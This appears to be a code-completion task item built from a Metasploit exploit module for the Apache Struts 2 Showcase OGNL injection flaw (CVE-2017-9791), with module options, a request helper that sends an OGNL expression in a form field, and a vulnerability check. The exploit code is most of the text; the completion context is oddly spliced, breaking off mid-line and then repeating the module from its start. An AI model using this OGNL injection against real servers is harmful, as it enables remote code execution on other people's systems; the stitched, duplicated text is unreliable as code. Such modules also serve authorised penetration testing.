You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: struts2_code_exec_showcase.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution',
      'Description'    => %q{ This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'icez <ic3z at qq dot com>',
        'Nixawk',
        'xfer0'
      ],
      'References'     => [
        [ 'CVE', '2017-9791' ],
        [ 'BID', '99484' ],
        [ 'EDB', '42324' ],
        [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-048'  ]
      ],
      'Privileged'     => true,
      'Targets'        => [
        [
          'Universal', {
            'Platform'       => %w{ linux unix win },
            'Arch'           => [ ARCH_CMD ]
          }
        ]
      ],
      'DisclosureDate' => '2017-07-07',
    'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/integration/saveGangster.action' ]),
        OptString.new('POSTPARAM', [ true, 'The HTTP POST parameter', 'name' ])
      ]
    )
  end

  def send_struts_request(ognl)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    uri = normalize_uri(datastore['TARGETURI'])

    data = {
      datastore['POSTPARAM']    => ognl,
      'age'                     => var_a,
      '__checkbox_bustedBefore' => 'true',
      'description'             => var_b
    }

    resp = send_request_cgi({
      'uri'       => uri,
      'method'    => 'POST',
      'vars_post' => data
    })

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution',
      'Description'    => %q{ This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'icez <ic3z at qq dot com>',
        'Nixawk',
        'xfer0'
      ],
      'References'     => [
        [ 'CVE', '2017-9791' ],
        [ 'BID', '99484' ],
        [ 'EDB', '42324' ],
        [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-048'  ]
      ],
      'Privileged'     => true,
      'Targets'        => [
        [
          'Universal', {
            'Platform'       => %w{ linux unix win },
            'Arch'           => [ ARCH_CMD ]
          }
        ]
      ],
      'DisclosureDate' => '2017-07-07',
    'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/integration/saveGangster.action' ]),
        OptString.new('POSTPARAM', [ true, 'The HTTP POST parameter', 'name' ])
      ]
    )
  end

  def send_struts_request(ognl)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    uri = normalize_uri(datastore['TARGETURI'])

    data = {
      datastore['POSTPARAM']    => ognl,
      'age'                     => var_a,
      '__checkbox_bustedBefore' => 'true',
      'description'             => var_b
    }

    resp = send_request_cgi({
      'uri'       => uri,
      'method'    => 'POST',
      'vars_post' => data
    })

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    ognl = "%{'#{var_a}' + '#{var_b}'}"

    begin
      resp = send_struts_request(ognl)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{var_a}#{var_b}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end